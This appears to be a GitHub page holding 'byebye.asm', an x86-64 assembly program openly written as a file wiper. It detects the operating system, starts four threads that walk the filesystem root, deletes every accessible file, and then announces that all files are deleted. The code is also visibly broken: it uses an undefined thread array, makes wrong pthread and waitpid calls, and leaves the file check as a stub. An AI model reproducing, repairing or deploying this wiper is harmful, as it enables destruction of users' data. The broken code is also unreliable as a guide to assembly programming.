-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbyebye.asm
267 lines (225 loc) · 5.7 KB
/
byebye.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
section .data
root_dir_windows db "C:\", 0
root_dir_linux db "/", 0
root_dir_mac db "/", 0
fmt_deleted db "Deleted: %s", 10, 0
fmt_failed db "Failed to delete %s: %s", 10, 0
fmt_all_deleted_windows db "All accessible files deleted on Windows.", 10, 0
fmt_all_deleted_linux db "All accessible files deleted on Linux.", 10, 0
fmt_all_deleted_mac db "All accessible files deleted on macOS.", 10, 0
fmt_unsupported db "Unsupported operating system.", 10, 0
fmt_dir_skipped db "Directory skipped: %s", 10, 0
linux_os db "Linux", 0
mac_os db "Darwin", 0
section .bss
uname_buffer resb 65 ; Buffer for uname syscall
file_check_buffer resb 256 ; Buffer for file checks
section .text
global main
extern printf
extern remove
extern opendir
extern readdir
extern closedir
extern strcmp
extern strcat
extern fork
extern waitpid
extern pthread_create
extern pthread_exit
extern uname
extern access ; For checking file access permissions (Linux/macOS)
extern GetFileAttributesA ; For checking file attributes (Windows)
main:
push rbp
mov rbp, rsp
; Get OS type
call get_os_type
; Compare OS type and call appropriate function
cmp rax, 1
je .windows
cmp rax, 2
je .linux
cmp rax, 3
je .mac
; Unsupported OS
lea rdi, [fmt_unsupported]
xor eax, eax
call printf
jmp .exit
.windows:
lea rdi, [root_dir_windows]
call spawn_delete_threads
lea rdi, [fmt_all_deleted_windows]
xor eax, eax
call printf
jmp .exit
.linux:
lea rdi, [root_dir_linux]
call spawn_delete_threads
lea rdi, [fmt_all_deleted_linux]
xor eax, eax
call printf
jmp .exit
.mac:
lea rdi, [root_dir_mac]
call spawn_delete_threads
lea rdi, [fmt_all_deleted_mac]
xor eax, eax
call printf
jmp .exit
.exit:
mov rsp, rbp
pop rbp
xor eax, eax
ret
; Spawn multiple threads to delete files in parallel
spawn_delete_threads:
push rbp
mov rbp, rsp
; Create multiple threads for deletion
mov rcx, 4 ; Number of threads
.loop_spawn:
dec rcx
js .done_spawn
lea rdi, [delete_files] ; Pass the function to the thread
lea rsi, [rdi] ; Pass the root directory to the thread
mov rdx, 0 ; Pass no additional argument
call pthread_create ; Create the thread
test rax, rax
jnz .error_spawn
; Save thread handle/ID
mov [threads + rcx*8], rax
jmp .loop_spawn
.error_spawn:
; Handle error in thread creation (optional)
jmp .done_spawn
.done_spawn:
; Wait for all threads to complete
mov rcx, 4 ; Number of threads
.loop_wait:
dec rcx
js .cleanup_spawn
mov rdi, [threads + rcx*8]
call waitpid ; Wait for the thread to finish
jmp .loop_wait
.cleanup_spawn:
mov rsp, rbp
pop rbp
ret
; Recursively delete files and directories
delete_files:
push rbp
mov rbp, rsp
sub rsp, 32 ; Allocate space for local variables
; Open directory
mov rdi, rsi ; rsi holds the root directory passed from the thread
call opendir
test rax, rax
jz .cleanup ; Exit if directory can't be opened
mov r12, rax ; Store directory handle
.loop:
; Read next directory entry
mov rdi, r12
call readdir
test rax, rax
jz .done
; Check if it's a file or directory
mov rdi, rax
call is_file
test al, al
jz .skip ; Skip if it's a directory
; Try to delete the file
mov rdi, rax
call remove
test eax, eax
jnz .delete_failed
; Print deleted message
lea rdi, [fmt_deleted]
mov rsi, rax
xor eax, eax
call printf
jmp .loop
.skip:
; Print directory skipped message
lea rdi, [fmt_dir_skipped]
mov rsi, rax
xor eax, eax
call printf
jmp .loop
.delete_failed:
; Print failed message
lea rdi, [fmt_failed]
mov rsi, rax
mov rdx, rax ; Pass error message (simplified)
xor eax, eax
call printf
jmp .loop
.done:
; Close directory
mov rdi, r12
call closedir
.cleanup:
mov rsp, rbp
pop rbp
call pthread_exit ; Exit the thread
ret
; OS Detection
get_os_type:
; Check if uname syscall is available
lea rdi, [uname_buffer]
call uname
; Check if result is Linux
lea rsi, [linux_os]
call strcmp
test rax, rax
jz .linux_detected
; Check if result is Darwin (macOS)
lea rsi, [mac_os]
call strcmp
test rax, rax
jz .mac_detected
; If uname fails or returns unexpected result, check for file access (assume Windows)
call test_file_access
test al, al
jz .windows_detected
; Default to Windows
.windows_detected:
mov rax, 1
ret
; If Linux detected
.linux_detected:
mov rax, 2
ret
; If macOS detected
.mac_detected:
mov rax, 3
ret
; Default to Windows if nothing else matches
mov rax, 1
ret
; Test file access (placeholder, replace with actual check)
test_file_access:
; Use access syscall to test file access
; On Linux/macOS, we could check if a specific file is accessible
; On Windows, this will be detected as part of the fallback
; Assuming /tmp/test_file.txt exists and is accessible
mov rdi, [file_check_buffer]
call access
test eax, eax
setz al
ret
; Check if entry is a file
is_file:
; On Windows, use GetFileAttributes
; On Linux/macOS, use stat
; Example for Windows (pseudocode):
; call GetFileAttributesA
; test result with FILE_ATTRIBUTE_DIRECTORY
; if directory, return 0
; Example for Linux/macOS:
; mov rdi, filename
; call stat
; check st_mode for S_IFDIR (directory)
mov al, 1 ; Assume it's a file
ret